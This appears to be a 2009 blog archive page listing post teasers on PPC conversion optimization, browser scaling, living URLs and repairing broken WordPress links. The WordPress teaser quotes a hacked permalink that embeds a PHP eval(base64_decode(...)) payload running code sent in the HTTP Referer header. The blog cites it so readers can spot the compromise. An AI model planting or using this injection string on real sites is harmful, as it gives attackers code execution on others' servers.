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[2009-09-28] Adding Conversion Rate Optimization To Your PPC Campaign
If you have a Google Adwords account, you have access to the Website Optimizer tool that is a very nifty application to get a great idea of the Conversion Rate Optimization (CRO). PPC campaigns nowadays do not come cheap and the crucial factor is to keep track of the conversion rate of your sales funnel.
[2009-09-22] Increasing Your Site Usability By Using Browser Scaling
Last week a colleague and I gave a talk about scalable architecture and where my colleague talked about databases and application layer scaling, I talked about scaling websites. More precisely, we talked about the upcoming ZYB/Vodafone project.
[2009-09-18] Living URL's and How To Do It
If you watched any of the congressional hearings about the newspaper industry where Marissa Mayer testified one of the concepts she brought up is Living URL's.
[2009-09-08] Fixing Broken Links In WordPress
I checked my blog and the URLs looked malformed, with the following structure: http://www.whoisandrewwee.com/2009/09/03/unlocking-unconventional-traffic-sources-for-affiliate-campaigns/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/#comment-506929. If you notice something similar or weird with your Wordpress blog, you might want to take the following steps:
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